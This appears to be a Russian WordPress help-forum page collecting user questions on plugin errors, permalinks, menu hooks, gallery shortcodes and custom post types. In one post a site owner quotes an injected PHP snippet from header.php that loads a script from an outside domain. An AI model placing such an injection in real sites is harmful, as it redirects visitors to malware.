Link files to this post with WP Vault »
Добрый день. После переноса сайта возникла ошибка.
После добавления контента на сайт, появляется страница с сообщениями
Warning: unlink(/home/sewa/arah.ru/wp-content/plugins/pixel-sitemap/pixel-sitemap-cache): No such file or directory in /home/sewa/arah.ru/wp-content/plugins/pixel-sitemap/pixel-sitemap.php on line 36
Warning: Cannot modify header information – headers already sent by (output started at /home/sewa/arah.ru/wp-content/plugins/pixel-sitemap/pixel-sitemap.php:36) in /home/sewa/arah.ru/wp-admin/post.php on line 236
Warning: Cannot modify header information – headers already sent by (output started at /home/sewa/arah.ru/wp-content/plugins/pixel-sitemap/pixel-sitemap.php:36) in /home/sewa/arah.ru/wp-includes/pluggable.php on line 1196
А на странице редактирования статей в верхнем правом углу появилась ссылка Link files to this post with WP Vault »
при переходе по которой открывается страница
http://arah.ru/wp-admin/admin.php?page=wp-vault/wpv-redirect.php&post_id=1125&proc=file-selection-page
с сообщением
У вас недостаточно полномочий для доступа к этой странице.
как возможно решить данную проблему? Я пробовал откатывать базы на 1 день, не помогает.
Пробовал удалять плагин, остаётся ссылка.
http://hkar.ru/CHki
http://hkar.ru/CHkh
http://hkar.ru/CHkg
http://hkar.ru/CHkf
http://hkar.ru/CHke
поменять html выводимых пунктов меню
Всем привет,
Мне нужно в футере поменять html выводимых пунктов меню
Из элементов вида <li><a…
выводить вида <h1><p…
В настройках кастомных меню вижу мое меню
http://i056.radikal.ru/1507/f1/81d4cdd4eb59.png
Мне нужно подцепить какой-то хук
Я в гуле нашел пример вида
add_filter( 'wp_nav_menu_items', 'your_custom_menu_item', 10, 2 );
function your_custom_menu_item ( $items, $args ) {
if (is_single() && $args->theme_location == 'primary') {
$items .= '<li>Show whatever</li>';
}
return $items;
}
Подебажив я нашел что пример с wp_nav_menu_items( тут он не описан
http://codex.wordpress.org/Plugin_API/Filter_Reference
)
выше добавляет текст ко всем элементам. А нет ли события для обработки каждого элемента ?
Это было бы удобнее чем парсить строки…
Не работают постоянные ссылки с…
Добрый день! Можете подсказать, почему не работают ссылки если в рубрике есть более одной подрубрики. Вот как прописано в постоянных ссылках:
/%category%/%post_id%
Вот структура рубрик:
01
-001
–0001
02
id странице = 4
Где,
http://localhost/wordpress/01/4 – работает
а
http://localhost/wordpress/01/001/4
или
http://localhost/wordpress/01/001/0001/4
перекидывает на нет категории.
Настройки .htaccess стандартные:
- BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wordpress/
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wordpress/index.php [L]
</IfModule>
- END WordPress
WordPress 4.2.2 с темой оформления Twenty Fifteen. Свежеустановлен.
Весь интернет перелопатил, так и не нашел решения, все в основном используют RusToLat и в этом духе.
Переношу новостной сайт на wordpress и хотелось бы сохранить ссылки http://site.com/news/life/4, http://site.com/projects/active/5. Как можно сделать это на wordpress? Помогите пожалуйста, очень нужно.
С уважением,
Андрей.
Подскажите где найти тему
Подскажите, пожалуйста, симпатичную тему для wordpress, похожую на сайты http://www.interviewrussia.ru и the-village.ru (с логотипом по центру и плиточным дизайном). Ищу везде уже больше месяца и почти отчаялась.
Спасибо!
Расширенное экспортирование
Подскажите, пожалуйста, в
WordPress есть стандартные формы для экспорта и импорта данных.
Хотелочь, чтобы также экспортировались/импортировались также картинки статьи( включая Featured)
и если выбирать по категориям, можно ли выбрать несколько категорий ?
Есть ли чего несложное для этого ?
Насколько бесплатен WordPress?
На одном сайте нашла такую фразу "WordPress бесплатен для закачки и использования. Но, чтобы использовать WordPress в сети, вам понадобится WordPress хостинг. Вы можете использовать WordPress.com, чтобы создать бесплатный блог, но знайте, что разница есть между WordPress и WordPress.com. Стоимость использования WordPress относительно минимальная и справедлива. Единственная серьезная стоимость — хостинг и домен."
То есть, получается WordPress бесплатен только если его на определенном хостинге использовать? Или же можно пользоваться и другими хостингами (например, хостингер.ру с доменом tk)? Сайт ориентирован на Германию, а там с авторскими правами все очень строго, так что хотелось бы заранее разобраться со всеми нюансами.
Заранее спасибо за ответ.
Можно ли картинки загружать по урлу
Подскажите,
есть какие расширения, с помощью который можно картинки загружать по урлу как в статьях так и в графических библиотеках ?
Спасибо!
Обнаружение и удаление вирусов
Наверняка подобные вопросы уже обсуждались, но сожалению не увидел опции поиска на этом форуме…
Проблема в следующем – недавно Гугл прислал уведомление о том, что мой сайт на WP перенаправляет посетителей на сайт, содержащий вредоносное ПО, соответственно и мой сайт получил "черную метку от Гугла".
На сайте стоит антивирусный плагин WP Antivirus Site Protection, но сканирование результатов не дало. Вручную просмотрев шаблоны обнаружил в header.php подозрительный скрипт с какой-то левой ссылкой:
$yslq = "<script type=\"text/javascript\" src=\"http://www.czechwines.cz/lide/osoby/twxyqgwj.php?id=649925\"></script>";
<?php
#7f3f8c#
if(empty($yslq)) {
echo $yslq;
}
#/7f3f8c#
?>
Удалил эту бяку, поменял пароль к админке, отписался в Гугл и метку сняли. Однако, по прошествии недели опять пришло письмо от Гугла! Каково было удивление, когда на том же самом месте нашел тот же скрипт, только со ссылкой на другой сайт.
Скрипт удалил, поменял еще и пароль к ФТП (хотя был он довольно сложный), но остаются опасения, что где-то сидит еще какой-то хитрый скрипт, периодически оживляющий эти ссылки.
Вопрос к специалистам: что можно сделать? Готов оплатить реальную помощь.
установил NextGEN Gallery без шорткодов
Всем привет,
В WordPress 4.2.2 с активной Compose WP темой.
установил и активировал плагин NextGEN Gallery by Photocrati, Version 2.1.0
Сами галлереи работаю но не работают шорткоды
Вставка в встраницу кода вроде
[ngg_images gallery_ids="1" display_type="photocrati-nextgen_basic_slideshow" exclusions="4,6" gallery_width="600" gallery_height="400"]
никчему не приводят – ничего не отображается при этом галлерея с ID= 1 существует
Также на странице добавления поста должны быть кнопка "shortcodes" и зеленая картинка указывающая на наличие установленного плагина NextGEN Gallery
- но их нет В в настройках порылся – никаких настроек для шорткодов не нашел
Я что-то еще недоставил/недонастроил?
двойные страницы на фронтнеде
Всем привет,
В WP 4.2 проекте обнаружил, что если в таблице wp_posts есть 2 одинаковые строки(страницы) то на фронтенде на странице эта статья отображается 2ы,
включая 2 блока "Leave a Reply" .
Я нашел на способ использование в functions.php кода
function search_distinct() {
return "DISTINCT";
}
add_filter('posts_distinct', 'search_distinct');
приводит к запросу
SELECT DISTINCT wp_posts.*
FROM wp_posts
WHERE 1=1 AND wp_posts.post_name = 'demis-roussos' AND wp_posts.post_type = 'artists_songs'
ORDER BY wp_posts.post_date DESC
И выводит 2 строки – так как ID все-таки разные. Одинаковы все остальные поля, включая post_name.
Такое возможно при програмном заполнении данных. Как это побороть на фронтенде?
Я нашел несколько плагинов для отображения схожих статей (вроде Yuzo ̵ ̵ ̵ Related Posts)…
Мне нужно иное – искать ошибочные дупликаты и предлогать удалять копии. Есть ли что для этого ?
NextGEN Gallery генерит Invalid display type
Привет,
В WP 4.2 я использую NextGEN Gallery by Photocrati Version 2.1.0
В страницу вставляю шорткод
[ngg_images gallery_ids="1" display_type="photocrati-nextgen_basic_slideshow" exclusions="4,6" ]
gallery_id = 1 в базе существует
как и описано тут http://www.nextgen-gallery.com/nextgen-gallery-shortcodes/ и получаю ошибку
что не может вывести галлерея
Установив режим отладки м вижу ссобщение Invalid display type’
Я порылся в коде и нашел вывод валидацииC_Displayed_Gallery Object :
$this->object->display_type::C_Displayed_Gallery Object
(
[_mapper_interface] => I_Displayed_Gallery_Mapper
[_mapper] => C_Displayed_Gallery_Mapper Object
(
[_query_args] => Array
(
)
[_primary_key_column] => ID
[_use_cache] => 1
[_object_name] => displayed_gallery
[_model_factory_method] => displayed_gallery
[_columns] => Array
(
)
[_table_columns] => Array
(
[0] => ID
[1] => post_author
[2] => post_date
[3] => post_date_gmt
[4] => post_content
[5] => post_title
[6] => post_excerpt
[7] => post_status
[8] => comment_status
[9] => ping_status
[10] => post_password
[11] => post_name
[12] => to_ping
[13] => pinged
[14] => post_modified
[15] => post_modified_gmt
[16] => post_content_filtered
[17] => post_parent
[18] => guid
[19] => menu_order
[20] => post_type
[21] => post_mime_type
[22] => comment_count
)
[_serialized_columns] => Array
(
)
[context] => Array
(
[0] =>
[1] => displayed_gallery
[2] => display_gallery
)
[adapted] => 1
[_mixins] => Array
(
[Mixin_DataMapper_Driver_Base] => Mixin_DataMapper_Driver_Base Object
(
[object] => C_Displayed_Gallery_Mapper Object
*RECURSION*
[method_called] =>
)
[Mixin_CustomPost_DataMapper_Driver] =>
[Mixin_Displayed_Gallery_Defaults] => Mixin_Displayed_Gallery_Defaults Object
(
[object] => C_Displayed_Gallery_Mapper Object
*RECURSION*
[method_called] =>
)
)
[_mixin_priorities] => Array
(
[0] => Mixin_Displayed_Gallery_Defaults
[1] => Mixin_CustomPost_DataMapper_Driver
[2] => Mixin_DataMapper_Driver_Base
)
[_method_map_cache] => Array
(
[set_defaults] => Mixin_Displayed_Gallery_Defaults
[get_display_type] => Mixin_Displayed_Gallery_Defaults
[_set_default_value] => Mixin_DataMapper_Driver_Base
)
[_disabled_map] => Array
(
)
[_interfaces] => Array
(
[0] => I_Component
[1] => I_DataMapper_Driver
[2] => I_CustomPost_DataMapper
[3] => I_Displayed_Gallery_Mapper
)
[_throw_error] => 1
[_wrapped_instance] =>
[object] => C_Displayed_Gallery_Mapper Object
*RECURSION*
[_cache] => Array
(
)
)
[_stdObject] => stdClass Object
(
[id] =>
[source] =>
[container_ids] => Array
(
)
[gallery_ids] =>
[album_ids] => Array
(
)
[tag_ids] => Array
(
)
[display_type] =>
[exclusions] => Array
(
)
[order_by] => sortorder
[order_direction] => ASC
[image_ids] => Array
(
)
[entity_ids] => Array
(
)
[tagcloud] =>
[inner_content] =>
[returns] => included
[slug] =>
[display_settings] => Array
(
)
[excluded_container_ids] => Array
(
)
[sortorder] => Array
(
)
[maximum_entity_count] => 500
[__defaults_set] => 1
[_errors] => Array
(
[source] => Array
(
[0] => source should be present
)
[display_type] => Array
(
[0] => display_type should be present
)
)
)
[context] =>
[adapted] => 1
[_mixins] => Array
(
[Mixin_Validation] => Mixin_Validation Object
(
[_default_msgs] => Array
(
[validates_presence_of] => %s should be present
[validates_presence_with] => %s should be present with %s
[validates_uniqueness_of] => %s should be unique
[validates_confirmation_of] => %s should match confirmation
[validates_exclusion_of] => %s is reserved
[validates_format_of] => %s is invalid
[validates_inclusion_of] => %s is not included in the list
[validates_numericality_of] => %s is not numeric
[validates_less_than] => %s is too small
[validates_greater_than] => %s is too large
[validates_equals] => %s is invalid
)
[_default_patterns] => Array
(
[email_address] => //
)
[object] => C_Displayed_Gallery Object
*RECURSION*
[method_called] =>
)
[Mixin_DataMapper_Model_Instance_Methods] =>
[Mixin_DataMapper_Model_Validation] =>
[Mixin_Displayed_Gallery_Validation] => Mixin_Displayed_Gallery_Validation Object
(
[object] => C_Displayed_Gallery Object
*RECURSION*
[method_called] =>
)
[Mixin_Displayed_Gallery_Instance_Methods] => Mixin_Displayed_Gallery_Instance_Methods Object
(
[object] => C_Displayed_Gallery Object
*RECURSION*
[method_called] =>
)
[Mixin_Displayed_Gallery_Queries] => Mixin_Displayed_Gallery_Queries Object
(
[object] => C_Displayed_Gallery Object
*RECURSION*
[method_called] =>
)
[A_I18N_Displayed_Gallery_Translation] =>
)
[_mixin_priorities] => Array
(
[0] => A_I18N_Displayed_Gallery_Translation
[1] => Mixin_Displayed_Gallery_Queries
[2] => Mixin_Displayed_Gallery_Instance_Methods
[3] => Mixin_Displayed_Gallery_Validation
[4] => Mixin_DataMapper_Model_Validation
[5] => Mixin_DataMapper_Model_Instance_Methods
[6] => Mixin_Validation
)
[_method_map_cache] => Array
(
[select_random_variation] => Mixin_Displayed_Gallery_Queries
[get_source] => Mixin_Displayed_Gallery_Instance_Methods
[validate] => Mixin_Validation
[validation] => Mixin_Displayed_Gallery_Validation
[validates_presence_of] => Mixin_Validation
[get_display_type] => Mixin_Displayed_Gallery_Instance_Methods
)
[_disabled_map] => Array
(
)
[_interfaces] => Array
(
[0] => I_Component
[1] => I_DataMapper_Model
[2] => I_Displayed_Gallery
)
[_throw_error] => 1
[_wrapped_instance] =>
[object] => C_Displayed_Gallery Object
*RECURSION*
)
Видно что display_type имеет пустое значение
Не подскажите это ошибка в определении галлереи ? – но я делал как в доке…
Ошибка при открытии сайта
Добрый день
ошибка при открытии сайта под администратором
ОШИБКА: Cookies заблокированы из-за неожиданного вывода на экран. Посмотрите документацию или обратитесь за помощью на форумы поддержки.
Пробовал через ftp удалять папку wp-content/plugins пробовал помещать в эту папку плагины по одному ничего не помогло если есть у кого подробное решение данной проблемы просьба сообщить.
Спасибо.
Galaxy_v17 – ошибка после обновления ВП
Добрый день!
Можете подсказать в чём дело?
У меня была тема Вордпресс с кастомизацией. тема с кастомизацией и мультиюзерами – Galaxy_v17
После обновления – если заходишь во Внешний вид–>Настроить – первую секунду появляется мое старое меню с настройками, потом моргает и появляется стандартное меню вордпресса, где нет настроек моей темы. Как это убрать? Я не могу пользоваться настройками темы – а мне надо. Как сделать, чтобы настройки темы все время оставались?
То есть как только заходишь во Внешний вид–Настроить – вижу – http://joxi.ru/eAO1nyBcVvdPmo, через секунду – моргает и вижу – http://joxi.ru/4Akek15tDjYzmq, то есть настроить никак не могу. У других тем – все ок, то есть настройки остаются, не убегают. В чем дело, что поправить?
Заранее спасибо!
Ну или как это можно отловить – на каких строчках кода происходит эта ошибка- переключение?
в register_activation_hook польовательский тип
Всем привет,
В WP 4.2 проекте создаю плагин и в register_activation_hook запускаю процедуру для создания таблиц с инициализирующими данными.
Также я создаю в wp-content/themes/mytheme/functions.php новый тип поста и категорию с помощью функций
register_post_type и register_taxonomy, что-то вроде :
require(ABSPATH."wp-admin/includes/plugin.php");
$artistssongsPluginPath= 'artistssongs/artists-songs-plugin.php';
if( is_plugin_active( $artistssongsPluginPath ) ) { // pluging artistssongs must be installed
if ( ! function_exists( 'artists_songs_cp' ) ) {
function artists_songs_cp() {
$labels = array(
'name' => _x( 'Artists&Songs', 'Post Type General Name', 'artists_songs' ),
...
'not_found_in_trash' => __( 'Not found in trash', 'artists_songs' ),
);
$args = array(
'labels' => $labels,
'supports' => array( 'title', 'editor', 'excerpt', ),
'taxonomies' => array( 'artists_songs_tax' ), // categories, which will be created below.
...
);
register_post_type( 'artists_songs', $args );
}
add_action( 'init', 'artists_songs_cp', 0 ); // init artists_songs type
}
if ( ! function_exists( 'artists_songs_tax' ) ) {
function artists_songs_tax() { // categories for type above
$labels = array(
'name'=> _x( 'Category Artists&Songs', 'Taxonomy General Name', 'artists_songs' ),
...
'not_found'=> __( 'Not found', 'artists_songs' ),
);
$args = array(
'labels' => $labels,
'hierarchical' => true,
'public' => true,
);
register_taxonomy( 'artists_songs_tax', array( 'artists_songs' ), $args );
}
add_action( 'init', 'artists_songs_tax', 0 ); // init categories
я ставлю проверку с помощью is_plugin_active для того, чтобы эти типы данных создавались только, если мой плагин активирован.
Сложность в том что при создании инициализирующих данных в register_activation_hook мне нужно уже иметь польовательские типы, но они еще не созданы…
Не подскажите, как обойти эту коллизию ?
Редирект на страницу благодарности
Здравствуйте!
Подскажите пожалуйста, как сделать Редирект на страницу благодарности после заполнения контактной формы, созданной с помощью плагина Contact Form 7?